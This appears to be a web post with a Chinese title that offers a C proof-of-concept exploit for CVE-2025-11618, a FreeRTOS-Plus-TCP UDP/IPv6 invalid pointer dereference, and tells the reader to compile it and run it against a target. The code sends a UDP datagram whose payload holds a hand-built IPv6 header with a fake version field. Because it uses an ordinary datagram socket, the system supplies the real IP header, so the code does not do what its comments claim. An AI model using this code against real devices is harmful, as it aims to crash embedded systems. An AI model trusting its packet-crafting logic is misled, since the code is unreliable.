CVE-2025-11618 FreeRTOS-Plus-TCP UDP/IPv6无效指针解引用漏洞

/* * CVE-2025-11618 PoC - FreeRTOS-Plus-TCP UDP/IPv6 Invalid Pointer Dereference * This PoC demonstrates how to craft a malicious UDP/IPv6 packet with * an incorrect IP version field to trigger the vulnerability. * * Usage: Compile and run against a target running FreeRTOS-Plus-TCP * with IPv6 enabled and a UDP service listening. */ #include <stdio.h> #include <stdlib.h> #include <string.h> #include <unistd.h> #include <sys/socket.h> #include <netinet/in.h> #include <arpa/inet.h> #define TARGET_IP "::1" // Target IPv6 address #define TARGET_PORT 1234 // Target UDP port #define FAKE_VERSION 4 // Incorrect IP version (should be 6 for IPv6) int main(int argc, char *argv[]) { int sockfd; struct sockaddr_in6 target_addr; unsigned char packet[128]; int ret; // Create UDP socket sockfd = socket(AF_INET6, SOCK_DGRAM, 0); if (sockfd < 0) { perror("socket creation failed"); return EXIT_FAILURE; } // Setup target address structure memset(&target_addr, 0, sizeof(target_addr)); target_addr.sin6_family = AF_INET6; target_addr.sin6_port = htons(TARGET_PORT); inet_pton(AF_INET6, TARGET_IP, &target_addr.sin6_addr); /* * Construct a malformed UDP/IPv6 packet: * - First byte: Version (4 bits) + Traffic Class (4 bits) * Set Version to 4 instead of 6 to trigger the bug * - Rest of the packet mimics IPv6 structure but with wrong version */ memset(packet, 0, sizeof(packet)); packet[0] = (FAKE_VERSION << 4) | 0x00; // Version=4, Traffic Class=0 packet[1] = 0x00; // Traffic Class (cont.) + Flow Label packet[2] = 0x00; packet[3] = 0x00; packet[4] = 0x00; // Payload Length (high byte) packet[5] = 0x20; // Payload Length (low byte) = 32 packet[6] = 0x11; // Next Header: UDP (17) packet[7] = 64; // Hop Limit // Source IPv6 address (bytes 8-23) for (int i = 8; i < 24; i++) { packet[i] = 0xfe; } // Destination IPv6 address (bytes 24-39) for (int i = 24; i < 40; i++) { packet[i] = 0xff; } // UDP header (starts at byte 40) packet[40] = 0x04; // Source Port (high) packet[41] = 0xd2; // Source Port (low) = 1234 packet[42] = (TARGET_PORT >> 8) & 0xFF; // Dest Port (high) packet[43] = TARGET_PORT & 0xFF; // Dest Port (low) packet[44] = 0x00; // Length (high) packet[45] = 0x20; // Length (low) = 32 packet[46] = 0x00; // Checksum (high) packet[47] = 0x00; // Checksum (low) // Payload memset(&packet[48], 'A', 32); // Send the malicious packet ret = sendto(sockfd, packet, sizeof(packet), 0, (struct sockaddr *)&target_addr, sizeof(target_addr)); if (ret < 0) { perror("sendto failed"); close(sockfd); return EXIT_FAILURE; } printf("Malformed UDP/IPv6 packet sent to [%s]:%d\n", TARGET_IP, TARGET_PORT); printf("Packet size: %d bytes\n", ret); printf("IP Version field: %d (should be 6 for IPv6)\n", FAKE_VERSION); close(sockfd); return EXIT_SUCCESS; }